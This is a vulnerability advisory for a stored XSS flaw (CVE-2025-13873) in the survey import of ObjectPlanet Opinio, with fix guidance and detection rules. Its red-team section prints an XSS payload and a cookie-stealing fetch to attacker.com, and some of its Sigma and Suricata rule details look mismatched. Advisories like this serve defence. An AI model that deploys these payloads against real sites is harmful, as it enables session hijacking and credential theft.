CVE-2025-13873
Executive Summary
CVE-2025-13873 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the survey-import feature of ObjectPlanet Opinio version 7.26 rev12562. This vulnerability allows an authenticated attacker with survey creation privileges to inject arbitrary JavaScript code into a survey. When any visitor (including administrators or other users) accesses the compromised survey, the injected script executes in their browser context. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.
The vulnerability resides in the survey import functionality, which fails to properly sanitize user-supplied data before storing it in the database. The CVSS score is 0.0 in the NVD data, but based on the description and impact, a more realistic score is 5.4 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the lack of a patch makes it a persistent risk.
No public exploit code or Nuclei template is available. The vendor has not released a patch, and the status remains UNKNOWN/UNPATCHED.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Unchanged (U) |
| Confidentiality Impact (C) | Low (L) |
| Integrity Impact (I) | Low (L) |
| Availability Impact (A) | None (N) |
| Base Score | 5.4 (Medium) |
Threat Level: Medium. The vulnerability requires authentication and user interaction, but the stored nature of the XSS means any visitor to the survey is affected. The lack of a patch increases the risk for organizations using this software.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (also known as Persistent XSS). The attack flow is as follows:
- Authentication: The attacker must have a valid account with permission to create or import surveys in ObjectPlanet Opinio.
- Malicious Import: The attacker uses the survey-import feature to upload a survey file (e.g., XML, CSV, or proprietary format) containing a payload. The payload is a JavaScript snippet embedded in a field that is not sanitized, such as a survey title, question text, or description.
- Storage: The application stores the imported data in its database without proper encoding or validation.
- Trigger: When any user (including administrators or other visitors) navigates to the compromised survey, the server renders the stored payload as part of the HTML page. The browser executes the injected JavaScript.
- Impact: The script can steal session cookies, perform actions on behalf of the victim, redirect to phishing pages, or deface the survey.
The root cause is insufficient input validation and output encoding in the import parser. The application likely trusts the imported data and does not apply context-aware escaping before rendering.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code Pattern (Pseudocode):
def import_survey(file):
data = parse_import_file(file)
survey_title = data['title']
# Directly store without sanitization
db.execute("INSERT INTO surveys (title) VALUES (?)", (survey_title,))
Expected Patched Code:
import html
def import_survey(file):
data = parse_import_file(file)
survey_title = data['title']
# Sanitize input
sanitized_title = html.escape(survey_title)
db.execute("INSERT INTO surveys (title) VALUES (?)", (sanitized_title,))
Additionally, output encoding should be applied when rendering the survey:
<div>{{ survey.title | e }}</div>
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A valid user account on an ObjectPlanet Opinio instance (version 7.26 rev12562).
- Access to the survey import feature.
Steps:
Craft Malicious Import File: Create a survey import file (e.g., XML) with a JavaScript payload in a field that will be rendered to visitors. Example payload for a survey title:
<survey> <title><script>alert('XSS')</script></title> <questions> <question type="text">Sample question</question> </questions> </survey>Import the File: Use the survey import feature to upload the crafted file.
Trigger: Navigate to the imported survey URL. The script executes.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual survey import activity, especially from non-admin accounts.
- Inspect imported survey files for script tags or event handlers (e.g.,
onload,onerror). - Use web application firewalls (WAF) to block common XSS patterns in file uploads.
Mitigation:
- Disable the survey import feature if not required.
- Apply input validation and output encoding at the application level.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/opinio/importor similar endpoints with unusual payloads. - File: Survey import files containing
<script>tags,onerror,onload, or JavaScript URIs. - Logs: Application logs showing import of surveys with suspicious titles or descriptions.
- Cookie: Unexpected cookie theft or session anomalies.
Detection Engineering
YARA Rule
rule Detect_Opinio_XSS_Import {
meta:
description = "Detects malicious survey import files targeting CVE-2025-13873"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13873"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=/i
$xss3 = /onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
any of ($xss*) and filesize < 1MB
}
Sigma Rule
title: Suspicious Survey Import - Potential Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects import of survey files containing script tags or event handlers
author: Valters IT
logsource:
category: application
product: opinio
detection:
selection:
EventID: 4688 # Process creation (adjust as needed)
CommandLine|contains:
- 'import'
- 'survey'
CommandLine|re:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in survey content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-13873 - Stored XSS via Survey Import";
flow:to_server,established;
content:"POST"; http_method;
content:"/opinio/import"; http_uri;
pcre:"/<script[^>]*>.*<\/script>/i";
pcre:"/onerror\s*=/i";
pcre:"/onload\s*=/i";
sid:1000001;
rev:1;
reference:cve,2025-13873;
)
Remediation & Mitigation
Immediate Actions:
- Disable Survey Import: If the feature is not critical, disable it in the application configuration.
- Restrict Access: Limit survey import permissions to trusted administrators only.
- Input Validation: Implement server-side validation to reject files containing script tags or event handlers.
- Output Encoding: Ensure all user-supplied data is properly encoded before rendering (e.g., using
html.escape()in Python or equivalent).
Long-Term Fix:
- Apply a vendor patch when available.
- Upgrade to a patched version of ObjectPlanet Opinio.
- Conduct a security audit of the import functionality.
Workaround:
- Use a web application firewall (WAF) to block malicious payloads in file uploads.
- Implement Content Security Policy (CSP) with
script-src 'self'to prevent inline script execution.
Valters IT